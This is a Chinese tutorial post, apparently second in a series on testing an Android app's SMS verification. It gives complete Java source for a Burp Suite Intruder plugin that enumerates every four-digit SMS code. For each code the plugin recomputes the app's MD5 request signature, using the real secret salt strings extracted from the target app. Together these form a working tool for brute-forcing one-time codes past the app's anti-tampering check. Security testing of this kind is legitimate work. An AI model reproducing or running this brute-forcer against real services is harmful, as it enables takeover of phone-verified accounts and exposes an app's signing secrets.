前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >apk短信验证码安全测试二

apk短信验证码安全测试二

作者头像
用户4682003
发布2022-05-19 14:45:38
8690
发布2022-05-19 14:45:38
举报
文章被收录于专栏:网络安全技术点滴分享

上一篇得到发送验证码请求的sign签名算法后,这篇主要介绍4位纯数字验证码burp插件的编写。介绍验证码插件之前,我们先介绍一下验证码插件会用到的三个burp接口IIntruderPayloadGeneratorFactoryIIntruderPayloadGeneratorIIntruderPayloadProcessor,再介绍验证码插件编写及使用。

一、burp接口介绍

  1. IIntruderPayloadGeneratorFactory 在插件中implements此接口,并且在registerExtenderCallbacks方法中注册它后,即实现了一个IntruderPayloadGenerator工厂。我们可以重写该接口的createNewInstance的方法来调用我们自定义的Payload生成器(比如本篇文章的4位纯数字验证码生成器),如下所示
  1. IIntruderPayloadGenerator 此接口用于实现我们自定义的生成器,implements该接口后,可以使用该接口提供的3个方法,返回我们生成的payload,如下所示
  1. IIntruderPayloadProcessor 在插件中implements此接口,并且在registerExtenderCallbacks方法中注册它后,即我们实现了一个payload处理器。我们可以重写该接口中的processPayload方法,来实现对payload的处理,再返回处理后的结果(比如本篇文章将payload中的验证码替换为新的验证码,再重新计算sign后替换之前的sign),如下所示

processPayload方法包含三个byte[]类型的参数currentPayload、originalPayload、baseValue。 currentPayload 即我们传进来的生成的payload,本篇文章即我们在payload生成器中生成的4位纯数字验证码。 originalPayload表示在应用了任何Processor处理器之前的最原始的payload值 测试发现与currentPayload是一样的 baseValue 我们在burp Positions中选定的值,如下面所示

二、验证码插件实现与使用

4位纯数字验证码payload生成

代码语言:javascript
复制

//自定义payload生成器
class IntruderPayloadGenerator implements IIntruderPayloadGenerator{

    private int payloadIndex = 0; //用于payloads验证码计数
    private String[] payloads = null;//存放生成验证码字符串的String数组
    
    public IntruderPayloadGenerator() {
      // TODO Auto-generated constructor stub
      //在构造函数中调用generateVerifyCodeArray()
      //函数生成4位纯数字验证码String数组
      //将结果复制给payloads成员变量
      this.payloads = generateVerifyCodeArray();
    }
    
    //生成4位纯数字验证码方法
    private String[] generateVerifyCodeArray() {
      String[] verifyCodeStrings = new String[10000];
      try {
        for(int i = 0; i < 10000; i++) {
          if(i < 10) {
            verifyCodeStrings[i] = String.format("000%d", i);
          }
          else if(i >= 10 && i < 100) {
            verifyCodeStrings[i] = String.format("00%d", i);
          }
          else if(i >= 100 && i < 1000) {
            verifyCodeStrings[i] = String.format("0%d", i);
          }
          else {
            verifyCodeStrings[i] = String.valueOf(i);
          }
        }
      }catch(Exception e) {
        e.printStackTrace();
      }
      return verifyCodeStrings;
    }
    
    //在getNextPayload方法里面依次返回生成的4位纯数字验证码
    @Override
    public byte[] getNextPayload(byte[] baseValue) {
      // TODO Auto-generated method stub
      byte[] payload = null;
      try {
        payload = this.payloads[payloadIndex].getBytes("UTF-8");
        payloadIndex++;
      }catch(Exception e) {
        e.printStackTrace();
      }
      return payload;
    }

    //在hasMorePayloads方法中设置当计数器计数小于我们的payloads数组
    //长度时 则一直为true 表示还有payload可以返回
    @Override
    public boolean hasMorePayloads() {
      // TODO Auto-generated method stub
      return payloadIndex < this.payloads.length;
    }

    //在reset方法中设置当重置时 则计数归0
    @Override
    public void reset() {
      // TODO Auto-generated method stub
      payloadIndex = 0;
    }
 }

根据新的验证码参数及burp中的请求数据生成相对应的sign签名并返回新的请求数据

代码语言:javascript
复制

//在Utils类中定义我们计算sign及构造新的请求包体(body)的方法
public class Utils {
  //public static方法及提供给其他类调用的方法getNewRequestData
  //参数有两个verifyCode、requestData
  //verifyCode即每次传进来的新生成的4位纯数字验证码
  //requestData即前一次的旧的请求包体(body)
  //需要上面两个参数 是因为我们需要提取requestData中的
  //其他字段构造list再加上新生成的verifyCode来计算sign签名校验值
  public static String getNewRequestData(String verifyCode,String requestData) {
    String result = "";
    try {
      JSONObject jsonObject = new JSONObject(requestData);
      List<String> requestList = new ArrayList();
      requestList.add("appId=" + jsonObject.getString("appId"));
      requestList.add("osType=" + jsonObject.getString("osType"));
      requestList.add("product=" + jsonObject.getString("product"));
      requestList.add("sysVer=" + jsonObject.getString("sysVer"));
      requestList.add("time=" + jsonObject.getString("time"));
      requestList.add("token=" + jsonObject.getString("token"));
      requestList.add("udid=" + jsonObject.getString("udid"));
      requestList.add("ver=" + jsonObject.getString("ver"));
      requestList.add("phoneModel=" + jsonObject.getString("phoneModel"));
      requestList.add("marketChannel=" + jsonObject.getString("marketChannel"));
      requestList.add("packageName=" + jsonObject.getString("packageName"));
      requestList.add("lang-app=" + jsonObject.getString("lang-app"));
      requestList.add("lang=" + jsonObject.getString("lang"));
      requestList.add("locale=" + jsonObject.getString("locale"));
      requestList.add("appsflyer-id=" + jsonObject.getString("appsflyer-id"));
      requestList.add("idfa=" + jsonObject.getString("idfa"));
      requestList.add("shumei_device_id=" + jsonObject.getString("shumei_device_id"));
      requestList.add("mobile=" + jsonObject.getString("mobile"));
      requestList.add("code=" + verifyCode);
      //上面构造请求参数list
      //构造完以后调用我们之前分析的getSortedParams函数
      //将list转成String
      result = getSortedParams(requestList);
      System.out.println("request result is: " + result);
      
      //将新生成的验证码添加到新的请求包体(body)中
      jsonObject.put("code", verifyCode);
      //调用getMD5方法计算sign值
      //参数为上面list转成String的值
      //计算完以后添加到新的包体中
      jsonObject.put("sign", getMD5(result));
      result = jsonObject.toString();
    }catch(Exception e) {
      e.printStackTrace();
    }
    //最后返回新的请求包体(body)
    return result;
  }
  
  //getSortedParams list转成String的方法
  private static String getSortedParams(List<String> list) {
    String result = "";
    try {
      StringBuilder stringBuilder = new StringBuilder();
      stringBuilder.append("Fb0gqLMSf5Android");
      Collections.sort(list);
      int i = 0;
      while(i < list.size()) {
        if(i == 0) {
          stringBuilder.append(list.get(i));
        } else {
          if(list.get(i).contains("lang-app=")) {
            int i2 = i + 1;
            if(list.get(i2) != null && list.get(i2).contains("lang=")) {
              stringBuilder.append("&");
              stringBuilder.append(list.get(i2));
              stringBuilder.append("&");
              stringBuilder.append(list.get(i));
              i = i2;
            }
          }
          else {
            stringBuilder.append("&");
            stringBuilder.append(list.get(i));
          }

        }
        i++;
      }
      stringBuilder.append("AEdDtho2CjiH901aVK7swFqclu6NmzJ4");
      result = stringBuilder.toString();
    }catch(Exception e) {
      e.printStackTrace();
    }
    return result;
  }
  
  //计算MD5的方法
  private static String getMD5(String plainText) {
    char hexDigits[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
    String result = "";
    try {
      byte[] plainBytes = plainText.getBytes("UTF-8");
      MessageDigest messageDigest = MessageDigest.getInstance("md5");
      messageDigest.update(plainBytes);
      byte[] encryptBytes = messageDigest.digest();
      int encryptBytesLen = encryptBytes.length;
      char[] resultBytes = new char[encryptBytesLen * 2];
      int k = 0;
      for(int i = 0; i < encryptBytesLen; i++) {
        byte tempBytes = encryptBytes[i];
        resultBytes[k++] = hexDigits[tempBytes >>> 4 & 0xf];
        resultBytes[k++] = hexDigits[tempBytes & 0xf];
      }
      result = (new String(resultBytes)).toUpperCase();
    }catch (Exception e) {
      // TODO: handle exception
      e.printStackTrace();
    }
    return result;
  }
  
  public static void main(String[] args) {
    String plainText = "";
    String result = getMD5(plainText);
    System.out.println(result);
  }
}

在payload处理器processPayload方法中调用Utils类中的getNewRequestData方法

代码语言:javascript
复制

//processPayload方法是我们上面介绍的处理传进来的自定义生成器
 //生成的payload、以及我们在burp中选定的数据最后将处理结果
 //返回到burp中作为新的请求数据(body)
 //在这里currentPayload就是我们的生成的4位纯数字验证码
 //baseValue就是我们选定的整个请求包体(body)的数据
 //传进来以后我们调用Utils.getNewRequestData计算
 //新的请求包体(body)返回值返回给newRequestData
 //最后将newRequestData转成byte[]返回
  public byte[] processPayload(byte[] currentPayload, byte[] originalPayload, byte[] baseValue) {
    byte[] result = null;
    // TODO Auto-generated method stub
    try {
     //打印测试数据
      String logString = String.format("currentPayload is : %s and "
          + "originalPayload is: %s and baseValue is: %s", new String(currentPayload),
          new String(originalPayload),new String(baseValue));
      stdout.println(logString);
      //调用getNewRequestData方法
      String newRequestData = Utils.getNewRequestData(new String(currentPayload),new String(baseValue));
      result = helpers.stringToBytes(newRequestData);
    }catch(Exception e) {
      e.printStackTrace();
    }
    return result;
  }

intruder中设置插件

首先在Extender中将插件加载进来,如下所示

在Intruder中设置

测试插件功能

综上所述,该篇文章主要介绍了burp intruder模块插件编写。安全测试时在处理请求中带有sign请求校验的,可以尝试使用插件。如果需要本篇文章中测试的burp插件代码,可以在公众号回复"VerifyCode BurpExnteder",通过百度云链接下载。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全技术点滴分享 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
验证码
腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档